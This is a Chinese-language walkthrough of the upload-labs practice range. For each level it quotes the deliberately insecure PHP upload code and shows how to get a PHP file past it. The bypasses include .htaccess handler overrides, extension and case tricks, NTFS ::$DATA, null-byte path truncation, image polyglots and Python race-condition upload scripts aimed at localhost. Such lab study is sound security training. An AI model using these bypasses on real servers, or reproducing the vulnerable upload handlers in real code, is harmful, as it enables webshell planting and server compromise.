0x00 : 简介
Github地址 : GitHub - upload-labs
一个帮你总结所有类型的上传漏洞的靶场
本地搭建环境 : win10+phpStudy+php-5.2.17+Apache
0x01 : Pass-01
任务 : 上传一个webshell到服务器。
题目源码 :
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
alert(errMsg);
return false;
}
}
做法 :
本题有两种思路.
首先创建一个1.php文件.
<?php
phpinfo();
?>
这样上传成功后就能直接执行phpinfo().
- 修改前端js代码
将
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
修改为
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif|.php";
然后上传1.php.
获得文件目录<img src="../upload/1.php" width="250px">.
访问http://localhost/upload-labs/Pass-01/../upload/1.php即执行phpinfo().
- 上传指定类型文件修改后缀名
将1.php修改为1.jpg以此绕过前端js代码验证后缀名.
上传1.jpg,抓包之后修改filename="1.jpg"为filename="1.php".
访问http://localhost/upload-labs/Pass-01/../upload/1.php即执行phpinfo().
0x02 : Pass-02
任务 : 上传一个webshell到服务器。
题目源码 :
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确，请重新上传！';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
}
}
做法 :
简单的验证Content-Type逻辑.
与Pass-01修改文件后缀名做法一样或抓包修改文件类型.
即可执行phpinfo();
0x03 : Pass-03
任务 : 上传一个webshell到服务器。
题目源码 :
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH. '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH .'/'. $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
做法 :
过滤了常见脚本后缀名. ('.asp','.aspx','.php','.jsp')
以及大小写过滤.
但是php还有很多别名,php2, php3, php4, php5, phps, pht, phtm, phtml.
这就很简单了,随意修改文件后缀名为1.php2或其他上传即可执行phpinfo().
0x04 : Pass-04
任务 : 上传一个webshell到服务器。
题目源码 :
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
做法 :
看源码大概是过滤了所有脚本后缀名.
嚯嚯嚯,但是我们可以通过上传.htaccess,将其他后缀名的文件解析为php文件.
创建一个.htaccess文件
内容可以是 : AddType application/x-httpd-php .jpg,可将jpg文件解析为php文件.
或者是 : SetHandler application/x-httpd-php,可将其他所有文件解析为php文件.
然后上传一句话文件,即可执行phpinfo();
0x05 : Pass-05
任务 : 上传一个webshell到服务器。
题目源码 :
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
做法 :
在Pass-04的基础上添加了.htaccess的过滤.
但是去除了大小写过滤.
因此可以通过大小写绕过.
将后缀名修改为1.PHP,即可执行phpinfo().
0x06 : Pass-06
任务 : 上传一个webshell到服务器。
题目源码 :
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
做法 :
在Pass-05的基础上添加了大小写的过滤.
但是去除了去空操作.
百度了一下trim()函数 : 移除字符串两侧的空白字符或其他预定义字符.
那么就可以通过在filename="1.php"中添加空格绕过了.
即filename="1.php ",即可上传执行phpinfo().
0x07 : Pass-07
任务 : 上传一个webshell到服务器。
题目源码 :
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
做法 :
在Pass-06的基础上添加了空格的过滤.
但是去除了删除文件名末尾的点的操作.
那么就可以通过在filename="1.php"中添加点绕过了.
即filename="1.php.".
因为windows特性在后缀名中添加点会默认删除 (可本地测试一下) ,即可绕过上传执行phpinfo().
0x08 : Pass-08
任务 : 上传一个webshell到服务器。
题目源码 :
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
做法 :
在Pass-07的基础上添加了去除文件名末尾点的操作.
但是去除了字符串::$DATA的过滤.
那么就可以通过在filename="1.php"中添加::$DATA绕过了.
即filename="1.php::$DATA".
利用NTFS流即可绕过上传执行phpinfo().
0x09 : Pass-09
任务 : 上传一个webshell到服务器。
题目源码 :
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
做法 :
把之前的洞都补上了,但是这个代码本身还存在漏洞.
即只去除了一个点和一个空格.
那么就有思路了.
传入filename="1.php. ."即filename="1.php.".
由Pass-07可知会默认删除后面的点,就可以绕过执行phpinfo().
0x10 : Pass-10
任务 : 上传一个webshell到服务器。
题目源码 :
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $file_name)) {
$img_path = UPLOAD_PATH . '/' .$file_name;
$is_upload = true;
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
做法 :
关键代码在这$file_name = str_ireplace($deny_ext,"", $file_name);.
当file_name中出现deny_ext中存在的字符串,就把它去掉,但只处理了一次.
那么如何绕过显而易见.
当filename="1.pphphp",即绕过执行phpinfo().
0x11 : Pass-11
任务 : 上传一个webshell到服务器。
题目源码 :
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败！';
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件！";
}
}
php参数 : magic-quotes-gpc = off
做法 :
这里使用白名单判断后缀名.
但是img_path直接使用点号拼接路径,这里就存在风险.
我们可以使用%00截断来实现绕过.
save_path=../upload/1.php%00
filename="1.jpg"
网页显示地址 <img src="../upload/1.php /4620180731010238.jpg" width="250px" />
访问地址 : http://localhost/upload-labs/Pass-01/../upload/1.php
这里可本地测试发现通过%00截断,使得无法复制/4620180731010238.jpg" width="250px" />,即表明截断成功.
0x12 : Pass-12
任务 : 上传一个webshell到服务器。
题目源码 :
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件！";
}
}
做法 :
与上一题不一样的地方在这里$_POST['save_path'].
在url解码中%00不会被解析.
但是这里我们可以使用0x00进行截断.
将save_path修改为../upload/1.php ,注意php之后有一个空格.
然后进入burpsuite16进制修改器中,将0x20修改为0x00.
即可将1.php绕过上传,执行phpinfo().
0x13 : Pass-13
任务 : 上传图片马到服务器。
注意：
1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。
2.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关！
题目源码 :
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知，上传失败！";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}
做法 :
代码通过读取上传文件的前两字节判断是否为图片.
所以我们可以将图片和一句话木马合并在一起上传.
copy 2.png /b + 1.php /a 1.png
上传1.png,在upload文件夹中可以查看图片存在一句话木马.
至于利用,还需要结合文件包含漏洞.
0x14 : Pass-14
任务 : 上传图片马到服务器。
注意：
1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。
2.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关！
题目源码 :
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知，上传失败！";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}
做法 :
关键代码 :
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
getimagesize通过检查图像文件的大小并返回图像的尺寸以及文件类型.
image_type_to_extension根据指定的图像类型返回对应的后缀名.
与上题一样将1.png上传即可绕过执行phpinfo().
0x15 : Pass-15
任务 : 上传图片马到服务器。
注意：
1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。
2.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关！
题目源码 :
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知，上传失败！";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}
做法 :
exif_imagetype()获取文件类型.
与上题类似将1.png传入即可绕过.
但是我本地环境存在问题,开启了php_exif模块,上传之后直接空白?...
0x16 : Pass-16
任务 : 上传图片马到服务器。
注意：
1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。
2.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关！
题目源码 :
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型，合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片！";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = UPLOAD_PATH.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败！";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片！";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = UPLOAD_PATH.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败！";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片！";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = UPLOAD_PATH.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败！";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
}
}
做法 :
在GIF89a后的空白处插入一句话,上传即可.
但是会破坏图片渲染,本题无异常处理.
0x17 : Pass-17
任务 : 上传一个webshell到服务器。
题目源码 :
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件！";
unlink($upload_file);
}
}else{
$msg = '上传失败！';
}
}
做法 :
看到这里unlink($upload_file),估计是条件竞争.
#!/usr/bin/env python
# coding:utf-8
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
def upload(lists):
hh = hackhttp.hackhttp()
raw = """
POST /upload-labs/Pass-17/index.php?action=show_code HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/upload-labs/Pass-17/index.php?action=show_code
Cookie: UM_distinctid=16513fb302a84-082bad74cca502-1262694a-1fa400-16513fb302cc8c; CNZZDATA5082706=cnzz_eid%3D48304009-1533633169-%26ntime%3D1533688146
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------22872114223072
Content-Length: 330
-----------------------------22872114223072
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
-----------------------------22872114223072
Content-Disposition: form-data; name="submit"
上传
-----------------------------22872114223072--
"""
code, head, html, redirect, log = hh.http('http://localhost/upload-labs/Pass-17/index.php', raw=raw)
print(str(code) + "\r")
pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()
访问1.php即可.
0x18 : Pass-18
任务 : 上传一个webshell到服务器。
题目源码 :
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传，但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败，上传目录不可写。';
break;
case -3:
$msg = '上传失败，无法上传该类型文件。';
break;
case -4:
$msg = '上传失败，上传的文件过大。';
break;
case -5:
$msg = '上传失败，服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传，文件不能复制到目标目录。';
break;
default:
$msg = '未知错误！';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
做法 :
看了一下writeup,说要通过竞争条件问题解决重命名.
记笔记记笔记.
#!/usr/bin/env python
# coding:utf-8
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
def upload(lists):
hh = hackhttp.hackhttp()
raw = """
POST /upload-labs/Pass-18/index.php?action=show_code HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/upload-labs/Pass-18/index.php?action=show_code
Cookie: UM_distinctid=16513fb302a84-082bad74cca502-1262694a-1fa400-16513fb302cc8c; CNZZDATA5082706=cnzz_eid%3D48304009-1533633169-%26ntime%3D1533688146
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------9015432631395
Content-Length: 327
-----------------------------9015432631395
Content-Disposition: form-data; name="upload_file"; filename="1.php.7z"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
-----------------------------9015432631395
Content-Disposition: form-data; name="submit"
上传
-----------------------------9015432631395--
"""
code, head, html, redirect, log = hh.http('http://localhost/upload-labs/Pass-17/index.php', raw=raw)
print(str(code) + "\r")
pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()
apache解析漏洞可以将.7z解析为.php.
一个文件名为 x1.x2.x3 的文件，Apache 会从 x3 的位置往 x1 的位置开始尝试解析 如果 x3 不属于 Apache 能解析的扩展名，那 么 Apache 会尝试去解析 x2 的位置， 这样一直往前尝试，直到 遇到一个能解析的扩展名为止
0x19 : Pass-19
任务 : 上传一个webshell到服务器。
题目源码 :
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}else{
$msg = '上传失败！';
}
}else{
$msg = '禁止保存为该类型文件！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
做法 :
这题大概是我本地题目环境的问题..
大小写就能绕过???....
save_name : 1.PHP
还不快抢沙发